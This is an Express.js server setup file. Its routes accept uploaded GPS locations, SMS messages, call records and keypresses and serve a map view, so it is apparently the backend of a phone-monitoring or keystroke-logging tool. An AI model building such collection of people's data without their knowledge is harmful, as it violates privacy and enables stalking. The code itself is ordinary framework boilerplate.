﻿
/**
 * Module dependencies.
 */

var express = require('express');
var hbs = require('hbs');
var routes = require('./routes');
var user = require('./routes/user');
var getu = require('./routes/getu');
var gps = require('./routes/gps');
var sms = require('./routes/sms');
var call = require('./routes/call');
var map = require('./routes/map');
var key = require('./routes/keypress');

var gzip_mid = require('./middleware/gzip');
var mrouter = require('./middleware/mid_router');
var http = require('http');
var path = require('path');

var app = express();

// all environments
app.set('port', process.env.PORT || 3000);
app.set('views', path.join(__dirname, 'views'));
//app.set('view engine', 'jade');
app.set('view engine', 'hbs');
app.engine('html', require('hbs').__express);

app.use(express.favicon());
app.use(express.logger('dev'));
app.use(mrouter.mid_router(gzip_mid.gzip,express.json()));
//app.use(express.json());
app.use(express.urlencoded());
app.use(express.methodOverride());
app.use(app.router);
app.use(require('stylus').middleware(path.join(__dirname, 'public')));
app.use(express.static(path.join(__dirname, 'public')));

// development only
if ('development' == app.get('env')) {
    app.use(express.errorHandler());
}

hbs.registerHelper('list', function (items, options) {
    var out = "";   
    for (var i = 0, l = items.length; i < l; i++) {
        out = out + options.fn(items[i]);
    }
    return out;
});
//hbs.registerPartials(__dirname + '/views');

app.get('/', routes.index);
app.get('/map', map.map);
app.get('/users', user.list);
app.get('/getu', getu.record);
app.post('/save_loc', gps.save_loc);
app.post('/save_sms', sms.save_sms);
app.post('/save_call', call.save_call);
app.post('/keypress', key.keypress);

http.createServer(app).listen(app.get('port'), function () {
    console.log('Express server listening on port ' + app.get('port'));
});
